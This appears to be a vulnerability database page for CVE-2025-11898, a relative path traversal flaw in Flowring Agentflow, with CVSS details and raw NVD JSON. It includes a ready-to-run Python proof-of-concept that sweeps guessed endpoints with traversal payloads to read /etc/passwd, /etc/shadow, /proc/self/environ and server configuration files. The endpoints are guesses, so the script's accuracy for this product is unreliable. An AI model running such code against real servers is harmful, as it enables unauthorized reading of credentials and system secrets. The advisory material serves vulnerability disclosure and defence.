Security Vulnerability Report
中文
CVE-2025-11898 CVSS 7.5 HIGH

CVE-2025-11898

Published: 2025-10-17 04:16:03
Last Modified: 2026-04-15 00:35:42

Description

Agentflow developed by Flowring has an Arbitrary File Reading vulnerability, allowing unauthenticated remote attackers to exploit Relative Path Traversal to download arbitrary system files.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Flowring Agentflow(所有未修复的版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-11898 - Agentflow Relative Path Traversal PoC # Vulnerability: Arbitrary File Reading via Relative Path Traversal # Severity: HIGH (CVSS 7.5) import requests import sys from urllib.parse import quote TARGET_URL = "http://target-agentflow-server" # Common file download/read endpoints in Agentflow that may be vulnerable VULNERABLE_ENDPOINTS = [ "/download", "/file", "/getfile", "/readfile", "/export", "/attachment", "/resource", ] # Files to attempt to read TARGET_FILES = [ "../../../../../../etc/passwd", "../../../../../../etc/shadow", "../../../../../../windows/win.ini", "../../../../../../windows/system32/drivers/etc/hosts", "../../../../../../proc/self/environ", "../../../../../../WEB-INF/web.xml", "../../../../../../conf/server.xml", ] def exploit_path_traversal(base_url, endpoint, target_file): """ Attempt to exploit relative path traversal vulnerability """ # Try different path traversal patterns traversal_patterns = [ target_file, target_file.replace("../", "..\\\\"), "....//" + target_file.replace("../", ""), "." + target_file, ] for pattern in traversal_patterns: url = f"{base_url}{endpoint}" params = {"file": pattern, "path": pattern, "filename": pattern, "name": pattern} try: response = requests.get(url, params=params, timeout=10) # Check if response indicates successful file read if response.status_code == 200 and len(response.content) > 0: # Check for common indicators of successful file read indicators = ["root:", "Administrator", "localhost", "<?xml", "PATH="] for indicator in indicators: if indicator in response.text: print(f"[+] SUCCESS - Endpoint: {endpoint}, Pattern: {pattern}") print(f"[+] File content preview: {response.text[:200]}") return True, response.text except Exception as e: continue return False, None def main(): print(f"[*] Targeting: {TARGET_URL}") print(f"[*] CVE-2025-11898 - Agentflow Arbitrary File Reading\n") for endpoint in VULNERABLE_ENDPOINTS: for target_file in TARGET_FILES: success, content = exploit_path_traversal(TARGET_URL, endpoint, target_file) if success: print(f"\n[+] Vulnerability confirmed!") print(f"[+] Endpoint: {endpoint}") print(f"[+] File: {target_file}") sys.exit(0) print("[-] Could not confirm vulnerability with tested patterns") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11898", "sourceIdentifier": "[email protected]", "published": "2025-10-17T04:16:03.277", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Agentflow developed by Flowring has an Arbitrary File Reading vulnerability, allowing unauthenticated remote attackers to exploit Relative Path Traversal to download arbitrary system files."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-23"}]}], "references": [{"url": "https://www.twcert.org.tw/en/cp-139-10439-0bd15-2.html", "source": "[email protected]"}, {"url": "https://www.twcert.org.tw/tw/cp-132-10438-1173e-1.html", "source": "[email protected]"}]}}